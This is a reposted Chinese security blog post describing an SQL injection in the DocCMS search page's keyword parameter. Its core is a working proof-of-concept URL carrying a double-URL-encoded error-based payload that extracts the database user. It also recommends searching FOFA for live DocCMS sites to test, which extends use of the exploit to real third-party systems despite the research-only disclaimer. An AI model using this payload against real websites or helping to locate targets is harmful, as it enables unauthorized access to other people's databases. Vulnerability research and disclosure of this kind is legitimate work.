前言
DocCms[音译：稻壳Cms] ，定位于为企业、站长、开发者、网络公司、VI策划设计公司、SEO推广营销公司、网站初学者等用户 量身打造的一款全新企业建站、内容管理系统，服务于企业品牌信息化建设，也适应用个人、门户网站建设！
官方网站
漏洞描述
DocCMS keyword参数存在 SQL注入漏洞，攻击者通过漏洞可以获取数据库信息
漏洞影响范围
DocCMS
漏洞复现
可以在DocCMS官网下载，本地部署验证漏洞
验证POC
/search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33
其中payload为下列语句的二次Url编码' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
此漏洞属于SQL 报错注入漏洞，此漏洞原理及利用不在解释，自行百度搜索。参考利用链接：
https://blog.csdn.net/l2872253606/article/details/124423275
https://blog.csdn.net/weixin_46706771/article/details/112768348
漏洞挖掘
可以利用网络空间搜索引擎，搜索相关CMS,验证漏洞是否存在。例如fofa搜索：app=”DocCMS”
原文始发于微信公众号（安全透视镜）：【每日一洞】DocCms SQL注入漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论